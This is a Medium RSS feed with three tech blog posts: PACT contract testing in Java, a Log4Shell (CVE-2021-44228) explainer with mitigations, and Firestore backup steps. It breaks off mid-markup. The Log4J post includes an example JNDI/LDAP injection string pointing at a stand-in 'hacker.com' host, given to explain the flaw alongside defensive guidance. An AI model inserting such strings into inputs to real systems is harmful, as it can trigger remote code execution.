<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Srijan Shrestha on Medium]]></title>
        <description><![CDATA[Stories by Srijan Shrestha on Medium]]></description>
        <link>https://medium.com/@srijanshrestha?source=rss-5e0795a063be------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*njd7h959RlSWlVKMpRPSIw.jpeg</url>
            <title>Stories by Srijan Shrestha on Medium</title>
            <link>https://medium.com/@srijanshrestha?source=rss-5e0795a063be------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 22:02:48 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@srijanshrestha/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Contract Testing with PACT]]></title>
            <link>https://srijanshrestha.medium.com/contract-testing-with-pact-f6282bb9250c?source=rss-5e0795a063be------2</link>
            <guid isPermaLink="false">https://medium.com/p/f6282bb9250c</guid>
            <category><![CDATA[pact]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[java]]></category>
            <category><![CDATA[contract-test]]></category>
            <category><![CDATA[testing]]></category>
            <dc:creator><![CDATA[Srijan Shrestha]]></dc:creator>
            <pubDate>Sat, 29 Mar 2025 05:43:54 GMT</pubDate>
            <atom:updated>2025-03-29T05:43:54.629Z</atom:updated>
            <content:encoded><![CDATA[<p>As a senior software engineer, one of the recurring challenges I’ve seen in microservices architecture is ensuring reliable integration between services. We’ve all been there — something breaks in production because Service A expected a response format from Service B that changed silently. That’s where <strong>contract testing</strong> comes in, and <strong>PACT</strong> is one of the most widely adopted tools to handle this.</p><p><strong>What is Contract Testing and why do we need it?</strong><br>Contract testing is a methodology for ensuring that two separate systems (such as two microservices) are compatible and can communicate with one other. It captures the interactions that are exchanged between each service, storing them in a <em>contract</em>, which then can be used to verify that both parties adhere to it.</p><p>For example, imagine you are building an API that’s used by several other teams. Over time, your API has grown large, with many endpoints and consumers depending on them. Now, even a small change — like updating a field name, changing a data type, or modifying a URL — can unintentionally break something in one of those consuming systems. These issues might not be caught until they hit production. Contract testing helps avoid that. It makes sure that both the provider (your API) and the consumers agree on how they talk to each other, and flags any mismatch early during development.</p><p>The goal of contract testing is aligned with the “shift left” mindset. You want fast and reliable feedback on an independent API integration earlier in the SLDC. This makes it easier to test and debug, which reduces reliance on more complex testing later in the cycle.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dZ2eBMDAcNkOEpyl.png" /><figcaption>Test pyramid</figcaption></figure><p>As you move up the pyramid, the different tests give more confidence, but at the price of slower feedback and higher effort (costs and time).</p><p><strong>What is the goal of Contract Testing ?</strong><br>The goal of contract testing is to get fast feedback on systems that communicate over APIs, removing unnecessary bugs. Contract testing helps remove the dependency on end-to-end integration tests and reduces the need to maintain complex test environments<em>.</em></p><p><strong>What are it’s business impact ?</strong><br>From a business perspective the value is absolutely real.<br>1. <strong><em>Faster time to market:</em></strong> Teams can move faster without waiting for each other due to increased confidence.<br>2. <strong><em>Risk Mitigation and Compliance:</em></strong> Ensuring API contracts are well defined and tested helps mitigate risk of unexpected data exposure and keeps the risk in check.<br>3. <strong><em>Improved Operations Efficiency:</em></strong> Reduction in overall testing and maintenance by focusing on contract level interactions rather than system-wide validations.<br>4. <strong><em>Business Continuity &amp; Customer Satisfaction:</em></strong> Ensuring smooth and reliable API integrations leads to better user experiences and fewer outages.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0KntlGhmL615X5Z2kajTbQ.jpeg" /><figcaption>Photo by <a href="https://unsplash.com/@imaginebuddy?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Imagine Buddy</a> on <a href="https://unsplash.com/photos/a-person-placing-a-piece-of-wood-into-a-pyramid-vsLbaIdhwaU?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Unsplash</a></figcaption></figure><p><strong>How does it work?</strong><br>Contract testing ensures that a pair of applications will work together correctly. It checks each application in isolation to ensure the messages it sends or receives conforms to a shared understanding. This is documented in a “contract.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*VnjqME8sNFkaMyhv.png" /><figcaption>PACT Architecture</figcaption></figure><p><strong>How to implement ?<br></strong>After we have gone through the architecture, let’s get started with an example project where we will try to generate contracts and verify them.</p><ol><li>Add the PACT dependencies (gradle)</li></ol><pre>plugins {<br>  id &#39;au.com.dius.pact&#39; version &#39;4.3.6&#39;<br>}<br><br>testImplementation &#39;au.com.dius.pact.provider:junit5:4.6.9&#39;<br>testImplementation &#39;au.com.dius.pact.consumer:junit5:4.6.9&#39;<br>// Optional<br>testImplementation &#39;org.apache.groovy:groovy-all:4.0.21&#39;<br>testImplementation &#39;org.springframework.boot:spring-boot-test&#39;<br>testImplementation &#39;org.springframework:spring-test&#39;<br>testImplementation &#39;org.junit.jupiter:junit-jupiter-api:5.9.2&#39;</pre><p>2. Write the Consumer Contract</p><pre>@Tag(&quot;ConsumerContractTest&quot;)<br>@PactConsumerTest<br>public class ConsumerPactTest {<br>  private static final Map&lt;String, String&gt; RESPONSE_HEADERS = <br>        Map.of(&quot;Content-Type&quot;, &quot;application/json; charset=utf-8&quot;);<br><br>  @Pact(provider = &quot;ProviderTeam&quot;, consumer = &quot;ConsumerTeam&quot;)<br>    public RequestResponsePact definePactTest(PactDslWithProvider builder) {<br>        var params = new HashMap&lt;String, Object&gt;();<br>        params.put(&quot;state_id&quot;,&quot;Stock.Available.Read&quot;);<br>        return builder<br>            .given(&quot;Stock.Available.Read&quot;,params)<br>            .uponReceiving(&quot;Should read Stock request by Id&quot;)<br>            .path(&quot;/api/Stock/Stock-1&quot;)<br>            .method(&quot;GET&quot;)<br>            .willRespondWith()<br>            .status(200)<br>            .headers(RESPONSE_HEADERS)<br>            .body(StockHelper.getStockReadDsl())<br>            .toPact();<br>    }<br><br>    @Test<br>    @PactTestFor(providerName = &quot;ProviderTeam&quot;,pactVersion = PactSpecVersion.V3,pactMethod = &quot;definePactTest&quot;)<br>    public void testStockRequest(MockServer mockServer) throws IOException {<br>        assert(org.apache.hc.client5.http.fluent.Request.get(mockServer.getUrl()+&quot;/api/Stock/Stock-1&quot;)<br>              .execute().returnResponse().getCode() == 200);<br>    }</pre><p>3. Execute the Consumer Contract Test, andgenerate a Contract file.</p><pre>{<br>  &quot;provider&quot;: {<br>    &quot;name&quot;: &quot;ProviderTeam&quot;<br>  },<br>  &quot;consumer&quot;: {<br>    &quot;name&quot;: &quot;ConsumerTeam&quot;<br>  },<br>  &quot;interactions&quot;: [<br>    {<br>      &quot;description&quot;: &quot;Should read Stock request by Id&quot;,<br>      &quot;providerStates&quot;: [<br>        {<br>          &quot;name&quot;: &quot;Stock.Available.Read&quot;,<br>          &quot;params&quot;: {<br>            &quot;state_id&quot;: &quot;Stock.Available.Read&quot;<br>          }<br>        }<br>      ],<br>      &quot;request&quot;: {<br>        &quot;method&quot;: &quot;GET&quot;,<br>        &quot;path&quot;: &quot;/api/Stock/Stock-1&quot;<br>      },<br>      &quot;response&quot;: {<br>        &quot;status&quot;: 200,<br>        &quot;headers&quot;: {<br>          &quot;Content-Type&quot;: &quot;application/json; charset=utf-8&quot;<br>        },<br>        &quot;body&quot;: {<br>          &quot;id&quot;: &quot;Stock-1&quot;,<br>          &quot;name&quot;: &quot;Widget&quot;,<br>          &quot;quantity&quot;: 50,<br>          &quot;available&quot;: true<br>        },<br>        &quot;matchingRules&quot;: {}<br>      }<br>    }<br>  ],<br>  &quot;metadata&quot;: {<br>    &quot;pactSpecification&quot;: {<br>      &quot;version&quot;: &quot;3.0.0&quot;<br>    }<br>  }<br>}</pre><p>3. Now write Provider side of Contract Test</p><pre>@Sl4j<br>@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.DEFINED_PORT)<br>@Provider(&quot;ProviderTeam&quot;)<br>@PactFolder(&quot;pacts&quot;)<br>@PactBroker(url = &quot;http://localhost:8080&quot;) <br>public class VerifyProviderPactTest {<br>  @Autowried<br>  // Autowrie your required dependencies <br><br>  @BeforeEach<br>  void before(PactVerificationContext context) {<br>      context.setTarget(new HttpTestTarget(&quot;localhost&quot;, 8080));<br>  }<br><br>  @TestTemplate<br>  @ExtendWith(PactVerificationInvocationContextProvider.class)<br>  void verifyPact(PactVerificationContext context) {<br>      context.verifyInteraction();<br>  }<br><br>  @State(&quot;Stock.Available.Read&quot;)<br>  public void toStockAvailableReadState() {<br>      // No setup needed. <br>      log.info(&quot;Provider state &#39;Stock.Available.Read&#39; performed.&quot;);<br>  }<br>}</pre><p>4. Prepare the PACT Broker<br>- Install <a href="https://www.docker.com/products/docker-desktop/">docker</a> on your system<br>- Start Docker Desktop.<br>- Add the below <em>pactbroker.yml</em> file in your project</p><pre>version: &quot;3&quot;<br><br>services:<br>  pact-broker-postgres:<br>    image: postgres<br>    healthcheck:<br>      test: psql postgres --command &quot;select 1&quot; -U postgres<br>    ports:<br>      - &quot;5432:5432&quot;<br>    volumes:<br>      - postgres-volume:/var/lib/postgresql/data<br>    environment:<br>      POSTGRES_USER: postgres<br>      POSTGRES_PASSWORD: password<br>      POSTGRES_DB: postgres<br><br>  pact-broker:<br>    image: pactfoundation/pact-broker<br>    build: .<br>    ports:<br>      - &quot;8080:8080&quot;<br>    depends_on:<br>      - pact-broker-postgres<br>    environment:<br>      PACT_BROKER_DATABASE_USERNAME: postgres<br>      PACT_BROKER_DATABASE_PASSWORD: password<br>      PACT_BROKER_DATABASE_HOST: pact-broker-postgres<br>      PACT_BROKER_DATABASE_NAME: postgres<br>      PACT_BROKER_LOG_LEVEL: DEBUG<br>volumes:<br>  postgres-volume:</pre><p>-Execute the above file using following command in terminal in administrative mode.</p><pre>docker-compose -f pactbroker.yml up</pre><ul><li>Your Boker is running now. You can check on the below url.</li></ul><p><a href="http://localhost:8080/">http://localhost:8080</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8W8wnzMaIcfNJxKurYH47A.png" /><figcaption>Sample PACT Broker Interface</figcaption></figure><p>5. Publish your Contract file on the Broker<br>- Open Postman and execute the following url in <strong>PUT</strong> mode and add the contents of Contract file in body.<br> <a href="http://localhost:9292/pacts/provider/fhir/consumer/Ethos/version/1.0.0">http://localhost:8080/pacts/provider/ProviderTeam/consumer/ConsumerTeam/version/1.0.0</a></p><p>6. Execute the Provider Test<br>- Run VerifyProviderPactTest class in your IDE.<br>- Make sure to set the following configuration to publish the results on the PACT Broker</p><pre>// Add system property to publish results to the Pact Broker<br>systemProperty &#39;pact.verifier.publishResults&#39;, &#39;true&#39;</pre><p>Nice work! You’ve just run your contract test with PACT and confirmed that your API is playing nicely with its consumers</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TdQYYdJLekUwgCfaiIsBEw.jpeg" /><figcaption>Photo by <a href="https://unsplash.com/@vladimir_d?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Volodymyr Dobrovolskyy</a> on <a href="https://unsplash.com/photos/a-cat-sitting-in-front-of-a-computer-monitor-KrYbarbAx5s?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Unsplash</a></figcaption></figure><p><strong>What are it’s Future Aspects ?</strong><br>Contract testing is no longer just a nice-to-have for modern systems — it’s becoming foundational. As systems scale and architectures evolve, the role of tools like PACT is expanding fast. Here’s where it’s headed:<br>1. <strong><em>Microservices at Scale:</em> </strong>The more services you have, the more integration points there are to test. Contract testing brings structure and automation to this chaos, enabling services to evolve independently without breaking each other.<br>2. <strong><em>Rise of Event-Driven Architectures:</em> </strong>With the shift toward async communication (Kafka, RabbitMQ, etc.), testing is harder. PACT is keeping up — its support for asynchronous messaging protocols means you can now apply the same contract testing principles to event streams as you do with REST APIs.<br>3. <strong><em>Complex Infrastructure:</em> </strong>Service Meshes and API Gateways<br> In setups with service meshes (like Istio) or API gateways (like Kong, Apigee), routing and transformations add layers of complexity. Contract testing becomes even more valuable here — helping teams validate what actually gets through to the service, not just what was sent.<br>4. <strong><em>Org-Wide Adoption and Tooling Maturity:</em> </strong>PACT’s ecosystem is growing — support for multiple languages, CI/CD integrations, Pactflow (hosted broker), and Pact plugins are making it easier for entire organizations to adopt contract testing as a standard practice.<br>5. <strong><em>Shift-Left, Shift-Right:</em> </strong>Contract testing is extending its reach both left and right — into development and into production monitoring. Imagine contracts that validate not only during CI but also flag violations in real-time traffic. That’s where things are going.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pwh6uN0WQNWPa8zmSSyMXA.jpeg" /><figcaption>Photo by <a href="https://unsplash.com/@wezlar11?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Dean Pugh</a> on <a href="https://unsplash.com/photos/a-tablet-on-a-rocky-beach--K2DLWKyPog?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Unsplash</a></figcaption></figure><p><strong>References</strong><br>1. <a href="https://pactflow.io/">https://pactflow.io</a><br>2.<a href="https://docs.pact.io/">https://docs.pact.io/</a><br>3. <a href="https://www.baeldung.com/pact-junit-consumer-driven-contracts">https://www.baeldung.com/pact-junit-consumer-driven-contracts</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f6282bb9250c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Log4J: Vulnerability & Mitigation Strategy]]></title>
            <link>https://srijanshrestha.medium.com/log4j-vulnerability-mitigation-strategy-8e91acb5cf85?source=rss-5e0795a063be------2</link>
            <guid isPermaLink="false">https://medium.com/p/8e91acb5cf85</guid>
            <category><![CDATA[writing]]></category>
            <category><![CDATA[java]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[startup]]></category>
            <category><![CDATA[education]]></category>
            <dc:creator><![CDATA[Srijan Shrestha]]></dc:creator>
            <pubDate>Tue, 04 Jan 2022 14:05:40 GMT</pubDate>
            <atom:updated>2022-01-04T14:05:40.241Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RIzNp-TiXtc4-OpvCiU8-w.jpeg" /><figcaption>Photo by <a href="https://unsplash.com/@blakeconnally?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Blake Connally</a> on <a href="https://unsplash.com/s/photos/cyber-security?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></figcaption></figure><p>If you are somehow related to tech world you must have heard about the <strong>Log4J</strong> or <strong>Log4Shell</strong> vulnerability which has been doing the rounds in news and tech organisations these days. So let’s dig into the issue straight and find what actually went wrong.</p><p><strong>Introduction to Log4j </strong><br>Apache Log4j is an open source, Java-based logging utility framework, a project of Apache Software Foundation. It was released back in 2001 and has been in extensive use since then.<br>A well-written logging code offers quick debugging, easy maintenance and structured storage of an application’s runtime information. It’s the go to friend for any software engineer when something goes wrong.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9uWQY5Ze262hgFiJka9xHg.png" /><figcaption>Credits: <a href="https://en.wikipedia.org/wiki/Log4j">https://en.wikipedia.org/wiki/Log4j</a></figcaption></figure><p><strong>The Issue </strong><br>On 9th Dec, 2021, Apache Foundation posted an article that discusses about a Zero Day vulnerability regarding the Log4j java library. The issue is that any user can run malicious code in a secured deployment running a java application using this specific version of log4j library. It affects versions 2.0 up to and including 2.14.1 of log4j.</p><p>The vulnerability is so critical that as per one of the reports more than 840000 attacks were initiated within 72 hours of vulnerability disclosure and attacks reached over 100 per minute over the weekend. The impact is so huge that it may affect the entire internet. This is because 90% of Java applications use log4j directly or indirectly.</p><p><strong>Pre-Requisite Terminologies</strong></p><ol><li><strong>Java Naming &amp; Directory Interface (JNDI</strong>)<br>It is an application programming interface (API) that provides naming and directory functionality to applications written using Java. JNDI allows distributed applications to look up services in an abstract, resource-independent way.</li><li><strong>Lightweight Directory Access Protocol (LDAP)</strong><br>An open, vendor-neutral, industry standard application protocol for accessing and maintaining distributed directory information services over an Internet Protocol network.</li><li><strong>Remote Code Execution (RCE)</strong><br>Also known as Arbitrary Code Execution, is a concept that describes a form of cyberattack in which the attacker can solely command the operation of another person’s computing device or computer. RCE takes place when malicious malware is downloaded by the host. It’s a phenomenon that can affect a person regardless of the present location of his or her device.</li><li><strong>Zero Day Vulnerability</strong><br>A zero-day vulnerability is a vulnerability in a system or device that has been disclosed but is not yet patched. Cybercriminals race to exploit these vulnerabilities to cash in on their schemes. Even though patch for Log4j vulnerability is available but considering the sheer amount of Log4j installation base, patching all vulnerable system is going to be a humongous and time-consuming effort. Till then it’s going to be actively exploited in the wild, hence the zero-day status.</li></ol><p><strong>Log4J Vulnerability</strong></p><p>Log4j vulnerability tracked under <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228">CVE-2021–44228</a> (also known as Log4Shell &amp; LogJam) is a zero-day, remote code execution vulnerability in logging framework. If a cyber-attacker exploits this, they can make the server that is running Log4j run any software they want, including software that can completely take over that server.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/8c9be83daf3f8a20a2eee859d7e98033/href">https://medium.com/media/8c9be83daf3f8a20a2eee859d7e98033/href</a></iframe><p>To make the logging functionality better, Log4J has added the ability to perform lookups such as <strong>JNDI(Java Naming &amp; Directory Interface</strong>)lookups.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*QwsCRVUURafwwxagp6UCTQ.png" /><figcaption>Credits: <a href="https://www.educba.com/">https://www.educba.com</a></figcaption></figure><p>Log4j uses the JNDI API to obtain naming and directory services from several available service providers which includes Remote Method Invocation (RMI), Domain Name Service (DNS), Common Object Request Broker Architecture (CORBA), Lightweight Directory Access Protocol (LDAP), .<br>The vulnerability takes advantage of Log4j not checking LDAP and JNDI requests and allowing attackers to execute arbitrary Java code on a server.</p><p>Let’s say we have a log which encounters the user calling the api.</p><pre>log.info(&quot;Api call: User $(user.name)&quot;)</pre><p>In the above case the user object will come from the payload which we can control. If we send a value of the user.name as following:</p><pre>log.info(&quot;Api call: User $(jndi:ldap://hacker.com/destroy)&quot;)</pre><p>Log4J gets this value, while logging log4j will do JNDI lookup to get the value of the expression thanks to JNDILookup class.<br>The attacker here may control the domain hacker.com and now he has got a connection from the application running in the secured environment.<br>From here, the attacker can re-direct the application to download some malicious code, which leads to <strong>remote code execution</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*izZITLwK2QOxXqRkwTpBcA.jpeg" /><figcaption>Credits: <a href="https://threatlabs.juniper.net/">https://threatlabs.juniper.net</a></figcaption></figure><p><strong>Mitigation</strong></p><ol><li><strong><em>Upgrade and redeploy<br></em></strong>The vulnerability is fixed in the newest version 2.17.0 released on December 22, 2021 (Not 2.15.0 or 2.16.0) according to the apache foundation. So you can upgrade the version, manage the dependencies and redeploy your application.</li></ol><p>2. <strong><em>Specific workaround by Apache</em></strong></p><ul><li>Set the following to disable the variable extrapolation</li></ul><pre>Dlog4j2.formatMsgNoLookups=true</pre><ul><li>You can also set the environmental variable to achieve the above behavior</li></ul><pre>LOG4J_FORMAT_MSG_NO_LOOKUPS=true</pre><ul><li>Remove JNDILookup class from the jar and repackage the jar and the application</li></ul><p>3. <strong><em>Prevent accidental resolution of a vulnerable Log4j version in your project<br></em></strong>Given the critical severity of this vulnerability, we recommend taking the additional step described below in order to prevent accidental inclusion of a vulnerable version.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/91a62dc8f6349323a022ddebc899685f/href">https://medium.com/media/91a62dc8f6349323a022ddebc899685f/href</a></iframe><p>The constraint will not be activated unless log4j-core appears in the dependency graph. The constraint will either forcefully upgrade the dependency to at least 2.17.0 or fail the build if the strict version constraint cannot be satisfied.</p><p>4. <strong><em>Prevent using a vulnerable Log4j version organization-wid<br></em></strong>Your organization may leverage shared plugins that are applied to all projects. In this case, you can also apply the constraint described above to all the projects in the organization.</p><p>If you use precompiled script plugins, simply copy the above snippet to the script applied to all your JVM projects. If you use binary plugins, here is the Java code equivalent to the DSL snippet:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/1c09a7ac226cc62ed246ea7c26c50bd5/href">https://medium.com/media/1c09a7ac226cc62ed246ea7c26c50bd5/href</a></iframe><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9iDazOF4anHF06PLHqd14w.jpeg" /><figcaption>Photo by <a href="https://unsplash.com/@lazizli?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Lala Azizli</a> on <a href="https://unsplash.com/s/photos/teamwork?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></figcaption></figure><p><strong>Strategies for Organizations</strong><br>1. Log4j vulnerability is a crtical issue and the organization must create a <strong>tiger team</strong> to deal with it at the highest possible probability.<br>2. A plan must be devised which first identifies how the organization is affected and then rectifies any problems found. Large organizations and enterprises will need a phased approach to manage this issue over many weeks or months, with teams able to sustain a response over the medium term.<br>3. The teams which use log4j must be identified and their software’s be scrutinized.<br>4. The teams should know if your organization is being targeted and be ready for an at-scale response.<br>5. Teams should try to find instances of software and of Log4j itself. This task will be easier on corporately-managed assets but less so on unmanaged assets.<br>6. A forum should be created to reach out to the mitigating team in case a cybersecurity researcher finds a vulnerability in any of the software’s.<br>7. Remediating &amp; resolving this issue is likely to take weeks or months for larger organizations. The combination of an <strong>ever evolving situation can lead to burnout in defenders, if they’re not supported by leadership</strong>.</p><p><strong>References</strong><br>1. <a href="https://blog.gradle.org/log4j-vulnerability">https://blog.gradle.org/log4j-vulnerability</a><br>2. <a href="https://www.onmanorama.com/news/business/2021/12/21/open-source-software-log4j-vulnerability.html">https://www.onmanorama.com/news/business/2021/12/21/open-source-software-log4j-vulnerability.html</a><br>3. <a href="https://www.ncsc.gov.uk/blog-post/log4j-vulnerability-what-should-boards-be-asking">https://www.ncsc.gov.uk/blog-post/log4j-vulnerability-what-should-boards-be-asking</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8e91acb5cf85" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How can you manage backups in Firebase-Firestore]]></title>
            <link>https://srijanshrestha.medium.com/how-can-you-manage-backups-in-firebase-firestore-637db47a5418?source=rss-5e0795a063be------2</link>
            <guid isPermaLink="false">https://medium.com/p/637db47a5418</guid>
            <category><![CDATA[google]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[firebase]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[technology]]></category>
            <dc:creator><![CDATA[Srijan Shrestha]]></dc:creator>
            <pubDate>Thu, 06 May 2021 05:45:21 GMT</pubDate>
            <atom:updated>2021-05-22T07:24:38.545Z</atom:updated>
            <content:encoded><![CDATA[<p>Firebase seems to have been providing great built in features and documentations for it’s users. Although when it comes to backups they are slightly lacking in features and tools.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MYbIBxuryInNL213" /><figcaption>Photo by <a href="https://unsplash.com/@nathanareboucas?utm_source=medium&amp;utm_medium=referral">Nathana Rebouças</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p><strong>What is Backup and Recovery ?</strong><br><em>Backup and recovery</em> describes the process of creating and storing copies of data that can be used to protect organizations against data loss. This is sometimes referred to as <em>operational recovery</em>. Recovery from a backup typically involves restoring the data to the original location, or to an alternate location where it can be used in place of the lost or damaged data.</p><p><strong>What are the different ways in which one can create backup of Cloud Firestore ?</strong><br>1. Manual Approach<br>2. Automated Approach</p><p>You must be clear on the following points before beginning:<br>1. You are creating backups for <strong>Cloud Firestore</strong> and not for Realtime Database. These sound similar and may confuse you during the implementation.</p><p>2. Your project must be on <strong>blaze plan</strong> for making backups.</p><p><strong>Manual Approach</strong><br>1. You will have to <strong>create a new bucket</strong> corresponding to your project and give permissions to your bucket.</p><p>2. While creating bucket make sure your location supports import/export of data. You can select <em>Multi Region </em>with<em> US</em>.</p><p>3. Make sure you choose the correct <strong>bucket type</strong> depending on your requirement. I would recommend Nearline for storing backups. You can read more about the <a href="https://cloud.google.com/storage/docs/storage-classes">storage classes</a> and their pricing before deciding.</p><p>4. You can setup the <a href="https://console.cloud.google.com/?cloudshell=true">google cloudshell</a> for executing the forthcoming commands.</p><pre>gcloud config set project PROJECT_NAME</pre><p>5. You can export your data manually to the respective bucket through :</p><pre>gcloud alpha firestore export gs://BUCKET_NAME</pre><p>6. Your data import will begin and you can check it’s <a href="https://console.cloud.google.com/firestore/import-export">status here</a>. It may take few minutes for export depending on your firestore data. In case if you face any issues related to permissions, you can set it in the <a href="https://console.cloud.google.com/iam-admin">IAM</a> feature of the GCP dashboard.</p><p>7. Once the data export is complete you can <a href="https://console.cloud.google.com/firestore/import-export">import the data</a> into your cloud firestore from the backup of the respective bucket. Once you select the import option you will have to select a particular backup entry from the bucket which you want to import. It may take few minutes for import depending on your firestore data.</p><p><strong>Automated Approach</strong></p><p>Here I had high hopes from Firebase but unfortunately at this time you will have to use <em>Cloud Functions</em> and <em>Cloud Scheduler</em>. The basic idea is that we write a cloud function which helps us create and store backup and then we can schedule the function calls with the help of scheduler. <br>In case if you are new to Cloud functions then you can <a href="https://firebase.google.com/docs/functions">read about it here</a> before proceeding on the function.</p><ol><li>You will have to <a href="https://console.cloud.google.com/"><strong>create a new bucket</strong></a> corresponding to your project and give permissions to your bucket.</li><li>While creating bucket make sure your location supports import/export of data. You can select <em>Multi Region </em>with<em> US</em>.</li><li>Make sure you choose the correct <strong>bucket type</strong> depending on your requirement. I would Nearline for storing backups. You can read more about the <a href="https://cloud.google.com/storage/docs/storage-classes">storage classes</a> and their pricing before deciding.</li><li>Now we must make sure that our cloud function can run data exports by granting our service account yourproject@appspot.gserviceaccount.com the <em>Datastore Import Export Admin</em> role. This can be done using GCP IAM interface or from the command line :</li></ol><pre>gcloud projects add-iam-policy-binding yourproject \<br>  --member serviceAccount:yourproject@appspot.gserviceaccount.com \<br>  --role roles/datastore.importExportAdmin</pre><p>5. Once the bucket is set we can head forward to the cloud function.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/1db636dda25494095f395d41ba565702/href">https://medium.com/media/1db636dda25494095f395d41ba565702/href</a></iframe><p>6. After the cloud function is ready, you can deploy the function using the following command</p><pre>firebase deploy --only functions:scheduledFirestoreExport</pre><p>Now the cloud function has been deployed successfully. Following are some of the variants in the cloud functions which you can use to define the schedule and frequency of the backup cloud function. You can <a href="https://firebase.google.com/docs/functions/schedule-functions">explore more here.</a></p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/67026fd31318ae33d2ecf2ff647d88cf/href">https://medium.com/media/67026fd31318ae33d2ecf2ff647d88cf/href</a></iframe><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*GZj3N9i4eCAWcXlq" /><figcaption>Photo by <a href="https://unsplash.com/@kellysikkema?utm_source=medium&amp;utm_medium=referral">Kelly Sikkema</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p><strong>Overall Strategies</strong></p><p>You must decide on a few points before finally implementing the backup. The backup will probably be used only when there is a data issue or an operational issue. Therefore it is highly recommended to monitor your backups and verify backup data import on a periodical basis so that there is no confusion during a system crash. The amount of data and system usage will probably help you decide on the frequency of backup creation and the bucket type.<br>There are basically four types of Storage classes/buckets which you can choose from:</p><blockquote><strong>Standard Storage</strong> is used for data that is frequently accessed and/or stored only for short periods of time.</blockquote><blockquote><strong>Nearline Storage</strong> is a low-cost option for accessing infrequently data. It offers lower at-rest costs in exchange to lower availability, 30 days <em>minimum storage duration</em> and cost for data access. It is suggested to be used in use cases where one accesses his data once per month on average.</blockquote><blockquote><strong>Coldline Storage</strong> is similar to Nearline, but offers even lower at-rest costs again in exchange to lower availability, 90 days <em>minimum storage duration</em> and higher cost for data access.</blockquote><blockquote><strong>Archive Storage</strong> is the lowest-cost, highly durable storage service for data archiving, online backup, and disaster recovery. has no availability SLA, though the typical availability is comparable to Nearline Storage and Coldline Storage. Archive Storage also has higher costs for data access and operations, as well as a 365-day minimum storage duration.</blockquote><p>Backup deletion is also important for the overall scope which will help you keep the bill in check. Please note that minimum storage duration doesn’t have to do with automatic deletion of objects. <br>If you would like to delete objects based on conditions such the <strong>Age</strong> of an object, then you may set an Object Lifecycle policy for the target object. You may find an example on how to delete live versions of objects older than 30 days <a href="https://cloud.google.com/storage/docs/managing-lifecycles?hl=vi#deletion-example">here</a>.<br>Currently this is the only approach to backup data. If you want to reduce costs further you can select specific collections to be backed up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*NBNunXhtqKf7GCwA" /><figcaption>Photo by <a href="https://unsplash.com/@omeganova?utm_source=medium&amp;utm_medium=referral">Deniz Altindas</a> on <a 